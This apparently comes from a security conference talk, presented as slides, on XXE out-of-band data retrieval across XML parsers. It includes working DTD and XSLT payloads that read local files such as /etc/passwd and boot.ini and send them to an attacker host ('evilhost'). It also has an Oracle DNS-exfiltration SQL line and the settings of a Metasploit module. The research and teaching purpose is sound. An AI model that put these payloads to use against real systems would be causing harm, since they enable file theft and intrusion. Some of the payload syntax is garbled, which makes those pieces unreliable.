XML Out-Of-Band Data Retrieval

Timur Yunusov
Alexey Osipov
Who we are

• Timur Yunusov:
  – Web Application Security Researcher
  – International forum on practical security «Positive Hack Days» developer

• Alexey Osipov:
  – Attack prevention mechanisms Researcher
  – Security tools and Proof of Concepts developer

• SCADA StrangeLove team members
Agenda

• XML Overview
• XML eXternal Entities
• Entities in attributes
• Out-Of-Band attack
  – DTD
  – XSLT
• Summary
• Demos
• Questions
Very popular protocol lately
- Serialization
- SOA-architecture (REST, SOAP, OAuth)
- Human-readable (at least intended to be)

Many parsers/many options controlling behavior (over 9000)

Many xml-extensions like XSLT, SOAP, XML schema
XML overview

• Many opportunities lead to many vulnerabilities:
  – Adobe (@agarri_fr, spasibo)
  – PostgreSQL (@d0znpp), PHP, Java

• Many hackers techniques
XML EXTERNAL ENTITY
XML entities

• Entities:
  – Predefined
  – General
    ```xml
    <!ENTITY general "hello">
    ```
  – Parameter
    ```xml
    <!ENTITY % param "hello">
    ```

• General and parameter entities may be:
  – Internal (defined in current DTD)
  – External (defined in external resource)
• Local file reading
• Intranet access
• Host-scan/Port-scan
• Remote Code Execution (not so often)
• Denial of Service
• XML data output (basic)
• Error-based XXE
  – DTD (invalid/values type definition)
  – Schema validation
• Blind techniques
  – XSD values bruteforce (@d0znpp)
• Schema validation In Xerces

parser error : Invalid URI: :[file]

I/O warning : failed to load external entity"[file]"

parser error : DOCTYPE improperly terminated

Warning: *** [file] in *** on line 11

<!DOCTYPE html[

<!ENTITY % foo SYSTEM "file:///c:/boot.ini">

%foo;]>
### XML constraints

**XML validity/well-formedness**

<table>
<thead>
<tr>
<th>VC: Attribute Default Value</th>
<th>VC: Notation Attributes</th>
<th>WFC: Entity Declared</th>
</tr>
</thead>
<tbody>
<tr>
<td>Syntactically Correct</td>
<td>VC: Notation Declared</td>
<td>WFC: External Subset</td>
</tr>
<tr>
<td>VC: Attribute Value Type</td>
<td>VC: One ID per Element Type</td>
<td>WFC: In DTD</td>
</tr>
<tr>
<td>VC: Element Valid</td>
<td>VC: One Notation Per Element Type</td>
<td>WFC: Legal Character</td>
</tr>
<tr>
<td>VC: Entity Declared</td>
<td>VC: Proper Conditional</td>
<td>WFC: No &lt; in Attribute Values</td>
</tr>
<tr>
<td>VC: Entity Name</td>
<td>VC: Proper Declaration/PE Nesting</td>
<td>WFC: No External Entity References</td>
</tr>
<tr>
<td>VC: Enumeration</td>
<td>VC: Proper Group/PE Nesting</td>
<td>WFC: No Recursion</td>
</tr>
<tr>
<td>VC: Fixed Attribute Default</td>
<td>VC: Required Attribute</td>
<td>WFC: PE Between Declarations</td>
</tr>
<tr>
<td>VC: ID Attribute Default</td>
<td>VC: Root Element Type</td>
<td>WFC: PEs in Internal Subset</td>
</tr>
<tr>
<td>VC: IDREF</td>
<td>VC: Standalone Document Declaration</td>
<td>WFC: Parsed Entity</td>
</tr>
<tr>
<td>VC: ID</td>
<td>VC: Unique Element Type Declaration</td>
<td>WFC: Unique Att Spec</td>
</tr>
<tr>
<td>VC: Name Token</td>
<td>VC: Unique Element Type Declaration</td>
<td>WFC: Unique Att Name</td>
</tr>
<tr>
<td>VC: No Duplicate Tokens</td>
<td>VC: Unique Notation Name</td>
<td>WFC: Element Type Match</td>
</tr>
<tr>
<td>VC: No Duplicate Types</td>
<td>WFC: Element Type Match</td>
<td></td>
</tr>
<tr>
<td>VC: No Notation on Empty Element</td>
<td>WFC: Entity Declared</td>
<td></td>
</tr>
</tbody>
</table>
Parameter entities resolve/validation algorithm

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html [ 
<!ENTITY % internal SYSTEM "local_file.xml">
<!ENTITY title "Hello, World!" > ]>
<html>&title;</html>
```

local_file.xml:

```xml
<!ENTITY title "Hello, World!" >
```
XML parser reads only valid xml documents

- No binary =( (http://www.w3.org/TR/REC-xml/#CharClasses)
- Malformed first string (no encoding attribute) (Some parsers)
- But we have wrappers!

Resulting document should also be valid

- No external entities in attributes
ENTITIES IN ATTRIBUTES
Well-formed constraint:
  – No External Entity References

• So, this is not possible, right?

<!DOCTYPE root[
  <ENTITY internal SYSTEM "file:///etc/passwd">
]>}

<root attrib="&internal;"/>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> 
<!ENTITY internal '[[boot loader] timeout ***']>
]>

<root attrib="&internal;"/>

<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % param1 "<!ENTITY internal '%payload;'">"
Pattern validation

<xs:restriction base="xs:string">
  <xs:pattern value="&test;" />
</xs:restriction>
DEMO
OUT-OF-BAND ATTACK
Server-side in general (except Adobe XXE SOP bypass)

<table>
<thead>
<tr>
<th>CVE-ID</th>
<th>Learn more at National Vulnerability Database (NVD)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2013-0624</td>
<td>• Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings</td>
</tr>
</tbody>
</table>

**Description**

Adobe Reader and Acrobat 9.x before 9.5.3, 10.x before 10.1.5, and 11.x before 11.0.1 allow attackers to bypass intended access restrictions via unspecified vectors, a different vulnerability than CVE-2013-0622.

**References**

*Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.*


**Status**

**Candidate**

This CVE Identifier has "Candidate" status and must be reviewed and accepted by the CVE Editorial Board before it can be updated to official "Entry" status on the CVE List. It may be modified or even rejected in the future.
XXE OOB

What do we want? Get file contents!

How do we want it? Without any direct output!
What other OOB communication techniques are present?

DNS exfiltration via SQL Injection (@stamparm)

```
SELECT UTL_HTTP.REQUEST('http://'+""")
(SELECT version FROM v$instance
||'evilhost.com') FROM dual;
```

UTL_HTTP.REQUEST
xp_fileexist
Dblink
LOAD_FILE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
%remote; 
<!ENTITY % trick SYSTEM 'http://evil/?%5Bboot%20' >
%trick;]> 
<!ENTITY % payl SYSTEM "file:///c:/boot.ini">
<!ENTITY % int "<!ENTITY &37; trick SYSTEM 'http://evil/?%payl;'">
XXE OOB

DTD Parsing, SYSTEM reading

DTD Request
HTTP Request with file content

PROFIT!
• Beside restrictions of all entities there are also new ones
• “PEReferences forbidden in internal subset” (c) XML Specification
  – So we should be able to read some external resource (local or remote)
  – Wrappers
Quotes are blocking definition of entities
- One should try single/double quotes when defining entity

```xml
<!ENTITY % int "<!ENTITY & #37; trick `[file content`]">
```

Space/new line/other whitespace symbols should not appear in URI
- Wrappers again =)
- Or not even needed
• Depending on parser features – lack of DTD validation in main document doesn’t mean lack of validation everywhere. Some possible clues:
  – External DTD or Internal DTD subset from external data
  – Parameter entities only
  – XSD Schema
  – XSLT template
• <!DOCTYPE root SYSTEM “...”>
• <!ENTITY external PUBLIC “some_text” “...”>
• <tag xsi:schemaLocation=“...”/>
• <tag xsi:noNamespaceSchemaLocation=“...”/>
• <xs:include schemaLocation=“...”>
• <xs:import schemaLocation=“...”>
• <?xml-stylesheet href=“...”?>
XSLT OUT-OF-BAND
• Controlling XSLT transformation template we can access some data from sensitive host:

```xml
<xsl:variable name="payload" select="document('http://sensitive_host/','/')"/>
<xsl:variable name="combine" select="concat('http://evilhost/','',$payload)"/>
<xsl:variable name="result" select="document($combine)"/>
```
• Depending on available features we can:
  – Get non-xml data using “unparsed-text” function
  – Enumerate services/hosts with “*-available” functions
  – With substring() we can craft such DNS hostname, that will let us obtain some sensitive data via malicious DNS request to our server
SUMMARY
• Server-side
  – Send file content over DNS/HTTP/HTTPs/Smb?
  – Without error/data output

• Client-side products
  – Nobody has ever tried to hack oneself ;)
  – Lots of products...
• Pros:
  – URL-encodes query string for OOB technique
  – Saves all line feeds in attributes

• Cons:
  – Can’t read XML files without encoding declaration (we can still read Web.config .NET)
  – No wrappers (except system-wide)
Pros:
- Can read directories!
- Sends NTLM auth data
- Different wrappers

Cons:
- Converts line feeds to spaces when inserting in attribute
- Can’t read multiline files with OOB technique
Parsers diff – libxml (PHP)

• Pros
  – Wrappers! (expect://, data://)
    (http://www.slideshare.net/phdays/on-secure-application-of-php-wrappers)
  – Most liberal parsing ???

• Cons
  – Can’t read big files by default (>8Kb)
<table>
<thead>
<tr>
<th>Feature</th>
<th>MS System.XML</th>
<th>Java Xerces</th>
<th>Libxml (PHP)</th>
</tr>
</thead>
<tbody>
<tr>
<td>External entity in attribute value</td>
<td>+</td>
<td>Line feeds are converted to spaces</td>
<td>+</td>
</tr>
<tr>
<td>OOB read multiline</td>
<td>+</td>
<td>-</td>
<td>+</td>
</tr>
<tr>
<td>OOB read big files</td>
<td>+</td>
<td>+</td>
<td>Option is often enabled</td>
</tr>
<tr>
<td>Directory listing</td>
<td>-</td>
<td>+</td>
<td>-</td>
</tr>
<tr>
<td>Validating schema location</td>
<td>-</td>
<td>+</td>
<td>-</td>
</tr>
</tbody>
</table>
XXE OOB Exploitation Toolset for Automation

- DNS knocking
- Vectors set
- HTTP Server
Metasploit module (special thnx2 @vegoshin)

- Vector set and HTTP server provided to you in your MSF ;-)

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXTSRVHOST</td>
<td>8.8.8.8</td>
<td>no</td>
<td>External server IP</td>
</tr>
<tr>
<td>EXTSRVPORT</td>
<td>53</td>
<td>no</td>
<td>External server port</td>
</tr>
<tr>
<td>FILE</td>
<td>/etc/passwd</td>
<td>no</td>
<td>File to read</td>
</tr>
<tr>
<td>SRVHOST</td>
<td>0.0.0.0</td>
<td>yes</td>
<td>The local host to listen on.</td>
</tr>
<tr>
<td>SRVPORT</td>
<td>8080</td>
<td>yes</td>
<td>The local port to listen on.</td>
</tr>
<tr>
<td>URIPATH</td>
<td>/</td>
<td>no</td>
<td>The URI to use for this expl</td>
</tr>
</tbody>
</table>
Conclusions

- General ruination? ;-)
- Toolset
- New ideas for new vectors and applications
• Arseniy Reutov
• Ilya Karpov
• Mihail Firstov
• Sergey Pavlov
• Vyacheslav Egoshin
Questions?

www.scadastrangelove.org
@GiftsUngiven
@a66at